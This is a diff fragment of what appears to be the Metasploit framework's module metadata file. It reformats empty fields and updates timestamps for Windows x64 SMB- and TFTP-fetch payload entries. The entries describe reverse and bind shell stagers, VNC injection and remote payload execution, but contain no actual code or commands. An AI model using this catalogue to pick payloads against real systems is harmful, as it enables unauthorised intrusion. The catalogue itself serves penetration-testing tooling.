"disclosure_date": null, "type": "payload", @@ -238318,24 +240189,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238348,9 +240216,7 @@ "payload_cmd/windows/smb/x64/shell/bind_tcp_rc4": { "name": "SMB Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238364,24 +240230,21 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238394,9 +240257,7 @@ "payload_cmd/windows/smb/x64/shell/bind_tcp_uuid": { "name": "SMB Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238406,24 +240267,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238436,9 +240294,7 @@ "payload_cmd/windows/smb/x64/shell/reverse_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238447,24 +240303,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238477,9 +240330,7 @@ "payload_cmd/windows/smb/x64/shell/reverse_tcp_rc4": { "name": "SMB Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238493,24 +240344,21 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238523,9 +240371,7 @@ "payload_cmd/windows/smb/x64/shell/reverse_tcp_uuid": { "name": "SMB Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238535,24 +240381,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238565,9 +240408,7 @@ "payload_cmd/windows/smb/x64/shell_bind_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/smb/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238576,24 +240417,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238604,9 +240442,7 @@ "payload_cmd/windows/smb/x64/shell_reverse_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/smb/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238615,24 +240451,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238643,9 +240476,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238664,15 +240495,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238685,9 +240515,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238707,15 +240535,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238728,9 +240555,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238750,15 +240575,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238771,9 +240595,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_tcp": { "name": "SMB Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238792,15 +240614,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238813,9 +240634,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_tcp_rc4": { "name": "SMB Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238839,15 +240658,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238860,9 +240678,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_tcp_uuid": { "name": "SMB Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238882,15 +240698,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238903,9 +240718,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_http": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238925,15 +240738,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238946,9 +240758,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_https": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238970,15 +240780,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238991,9 +240800,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_tcp": { "name": "SMB Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239012,15 +240819,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239033,9 +240839,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_tcp_rc4": { "name": "SMB Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239059,15 +240863,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239080,9 +240883,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_tcp_uuid": { "name": "SMB Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239102,15 +240903,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239123,9 +240923,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_winhttp": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239145,15 +240943,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239166,9 +240963,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_winhttps": { "name": "SMB Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239188,15 +240983,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/vncinject/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239209,9 +241003,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239221,9 +241013,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239237,8 +241027,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239251,9 +241040,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239264,9 +241051,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239280,8 +241065,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239294,9 +241078,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_named_pipe": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239306,9 +241088,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239322,8 +241102,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239336,9 +241115,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239348,9 +241125,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239364,8 +241139,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239378,9 +241152,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_tcp_rc4": { "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239395,9 +241167,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239411,8 +241181,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239425,9 +241194,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239438,9 +241205,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239454,8 +241219,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239468,9 +241232,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_http": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239480,9 +241242,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239496,8 +241256,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239510,9 +241269,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_https": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239524,9 +241281,7 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239540,8 +241295,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239554,9 +241308,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_named_pipe": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239566,9 +241318,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239582,8 +241332,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239596,9 +241345,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239608,9 +241355,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239624,8 +241369,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239638,9 +241382,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_tcp_rc4": { "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239655,9 +241397,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239671,8 +241411,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239685,9 +241424,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239698,9 +241435,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239714,8 +241449,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239728,9 +241462,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_winhttp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239740,9 +241472,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239756,8 +241486,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239770,9 +241499,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_winhttps": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239782,9 +241509,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239798,8 +241523,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239812,9 +241536,7 @@ "payload_cmd/windows/tftp/x64/encrypted_shell/reverse_tcp": { "name": "TFTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239824,9 +241546,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239840,8 +241560,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 